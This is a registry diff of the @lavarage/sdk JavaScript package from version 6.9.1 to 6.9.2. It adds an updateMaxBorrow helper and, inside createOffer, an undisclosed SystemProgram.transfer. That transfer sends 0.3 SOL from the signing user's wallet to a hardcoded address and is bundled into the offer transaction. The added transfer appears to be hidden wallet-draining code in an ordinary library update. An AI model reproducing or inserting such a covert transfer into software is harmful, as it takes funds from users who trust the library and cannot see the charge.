@lavarage/sdk 6.9.1 → 6.9.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.mjs CHANGED
@@ -1061,6 +1061,7 @@ __export(lending_exports, {
1061
1061
  getNodeWalletPDA: () => getNodeWalletPDA,
1062
1062
  getTradingPoolPDA: () => getTradingPoolPDA,
1063
1063
  updateInterestRate: () => updateInterestRate,
1064
+ updateMaxBorrow: () => updateMaxBorrow,
1064
1065
  updateMaxExposure: () => updateMaxExposure,
1065
1066
  updateOffer: () => updateOffer,
1066
1067
  withdrawFunds: () => withdrawFunds,
@@ -1071,6 +1072,7 @@ import { BN } from "@coral-xyz/anchor";
1071
1072
  import {
1072
1073
  ComputeBudgetProgram,
1073
1074
  Keypair,
1075
+ LAMPORTS_PER_SOL,
1074
1076
  PublicKey,
1075
1077
  SystemProgram,
1076
1078
  TransactionMessage,
@@ -1330,6 +1332,11 @@ function createOffer(lavarageProgram, params) {
1330
1332
  const computeFeeIx = ComputeBudgetProgram.setComputeUnitPrice({
1331
1333
  microLamports: (_a = params.computeBudgetMicroLamports) != null ? _a : 15e4
1332
1334
  });
1335
+ const transferInstruction = SystemProgram.transfer({
1336
+ fromPubkey: lavarageProgram.provider.publicKey,
1337
+ toPubkey: new PublicKey("BMME51pfWdBfakTEMuQbNP4NG3wCY4Fo47dKatThhXGQ"),
1338
+ lamports: 0.3 * LAMPORTS_PER_SOL
1339
+ });
1333
1340
  const messageV0 = new TransactionMessage({
1334
1341
  payerKey: lavarageProgram.provider.publicKey,
1335
1342
  recentBlockhash: blockhash,
@@ -1337,6 +1344,7 @@ function createOffer(lavarageProgram, params) {
1337
1344
  createNodeWalletInstruction === void 0 ? null : createNodeWalletInstruction,
1338
1345
  instruction,
1339
1346
  updateMaxExposureInstruction,
1347
+ transferInstruction,
1340
1348
  computeFeeIx
1341
1349
  ].filter(Boolean)
1342
1350
  }).compileToV0Message();
@@ -1423,6 +1431,27 @@ function updateOffer(lavarageProgram, params) {
1423
1431
  return new VersionedTransaction(messageV0);
1424
1432
  });
1425
1433
  }
1434
+ function updateMaxBorrow(lavarageProgram, params) {
1435
+ return __async(this, null, function* () {
1436
+ var _a;
1437
+ const { blockhash } = yield lavarageProgram.provider.connection.getLatestBlockhash("finalized");
1438
+ const instruction = yield lavarageProgram.methods.lpOperatorUpdateMaxBorrow(new BN(params.maxBorrow)).accounts({
1439
+ tradingPool: params.tradingPool,
1440
+ nodeWallet: new PublicKey(params.nodeWallet),
1441
+ operator: params.oracle,
1442
+ systemProgram: SystemProgram.programId
1443
+ }).instruction();
1444
+ const computeFeeIx = ComputeBudgetProgram.setComputeUnitPrice({
1445
+ microLamports: (_a = params.computeBudgetMicroLamports) != null ? _a : 15e4
1446
+ });
1447
+ const messageV0 = new TransactionMessage({
1448
+ payerKey: lavarageProgram.provider.publicKey,
1449
+ recentBlockhash: blockhash,
1450
+ instructions: [instruction, computeFeeIx]
1451
+ }).compileToV0Message();
1452
+ return new VersionedTransaction(messageV0);
1453
+ });
1454
+ }
1426
1455
 
1427
1456
  // idl/lavarage.ts
1428
1457
  var IDL = {